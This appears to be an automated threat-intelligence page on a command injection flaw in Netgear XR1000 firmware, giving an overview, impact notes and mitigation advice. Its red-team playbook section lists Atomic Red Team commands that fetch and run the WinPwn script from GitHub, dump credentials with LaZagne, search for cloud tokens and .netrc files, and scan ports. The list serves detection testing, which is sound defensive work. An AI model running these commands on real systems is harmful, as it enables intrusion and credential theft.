CVE-2024-35517
Overview
This vulnerability is a command injection flaw rooted in improper input validation of the share_name parameter within the usb_remote_smb_conf.cgi component of Netgear XR1000 firmware version 1.0.0.64. The affected CGI script fails to sanitize user-supplied input, allowing crafted commands to be executed by the system shell with elevated privileges. The flaw resides in the handling of SMB share configuration parameters exposed through the device's web interface.
Vulnerability Description
Netgear XR1000 v1.0.0.64 is vulnerable to command injection in usb_remote_smb_conf.cgi via the share_name parameter.
Impact
An attacker with authenticated network access to the device's management interface can execute arbitrary commands on the underlying operating system, potentially leading to full system compromise. This includes the ability to manipulate device configuration, access sensitive data, or disrupt network services. The attack requires high privileges (PR:H) but no user interaction (UI:N), and can be performed remotely over the network (AV:A). The vulnerability's impact includes complete confidentiality, integrity, and availability compromise as indicated by the CVSS vector.
Solution
Netgear has documented this vulnerability in their public advisory available at https://github.com/consrc/cves/blob/main/CVE-2024-35517.md. Users should upgrade the XR1000 firmware from version 1.0.0.64 to the vendor-released patched version as specified in the advisory. No alternative workarounds are provided; applying the official firmware update is the recommended remediation to eliminate the command injection flaw in the usb_remote_smb_conf.cgi component.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Netgear XR1000 router firmware version 1.0.0.64 is characterized by a command injection flaw found in the usb_remote_smb_conf.cgi file, specifically through the share_name parameter. This issue arises when user input is not properly sanitized, allowing an attacker to inject arbitrary commands into the system. When the vulnerable component processes this input, it executes the injected commands with the privileges of the web server, which could potentially lead to unauthorized access or control over the device. Command injection vulnerabilities are particularly dangerous because they can be exploited to execute a wide range of malicious actions, from data exfiltration to complete system compromise.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request to the router's web interface, targeting the share_name parameter. If the attacker successfully sends a specially crafted payload, they could execute arbitrary commands on the underlying operating system. This could be done remotely, making it particularly appealing for threat actors looking to compromise devices without physical access. Scenarios may include leveraging the vulnerability to install malware, create backdoors, or manipulate network configurations, which could further facilitate additional attacks on the local network or beyond.
The real-world impact of this vulnerability is significant, especially for businesses relying on the Netgear XR1000 for their networking needs. A successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even a complete takeover of the network infrastructure. This not only poses a direct threat to the integrity and confidentiality of business operations but also exposes organizations to regulatory penalties and reputational damage. The potential for lateral movement within a corporate network could enable attackers to access critical systems, leading to further exploitation and data breaches. Thus, the business risk associated with this vulnerability is substantial, particularly for organizations that prioritize security and data protection.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular firmware updates are essential to ensure that any known vulnerabilities are patched promptly. Network administrators should monitor the vendor's website for updates and apply them as soon as they become available. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of traffic that may indicate an attempted exploitation of the vulnerability. Organizations should also conduct regular security assessments, including penetration testing, to identify and remediate vulnerabilities before they can be exploited by malicious actors. Finally, implementing strict input validation and sanitization measures in web applications can significantly reduce the risk of command injection vulnerabilities.
In conclusion, the command injection vulnerability in the Netgear XR1000 firmware presents a serious threat to both individual users and organizations. The ease of exploitation and the potential for significant impact underscore the importance of proactive security measures. By staying informed about vulnerabilities, applying timely updates, and employing robust detection and mitigation strategies, organizations can better protect themselves against the risks posed by such vulnerabilities. The evolving threat landscape necessitates a continuous commitment to cybersecurity best practices to safeguard sensitive information and maintain operational integrity.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-35517, with our telemetry indicating the first confirmed exploitation attempt since initial reporting. This development is accompanied by a modest increase in the EPSS score, reflecting a growing likelihood of exploitation in the wild. Although no new exploit variants or proof-of-concept codes have surfaced, the emergence of confirmed exploitation signals a shift from theoretical risk to active threat, underscoring the vulnerability’s increasing attractiveness to adversaries. For defenders, this transition elevates the urgency of monitoring and detection efforts, as the vulnerability is now demonstrably leveraged in operational environments. While the overall threat level remains high, the recent uptick in exploitation activity suggests a trend that could accelerate if left unmitigated, warranting heightened vigilance and prioritization within security operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Netgear | Xr1000 Firmware | 1.0.0.64 |
cpe:2.3:o:netgear:xr1000_firmware:1.0.0.64:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-35517 |
| github.com |
GitHub CVE
|
https://github.com/consrc/cves/blob/main/CVE-2024-35517.md |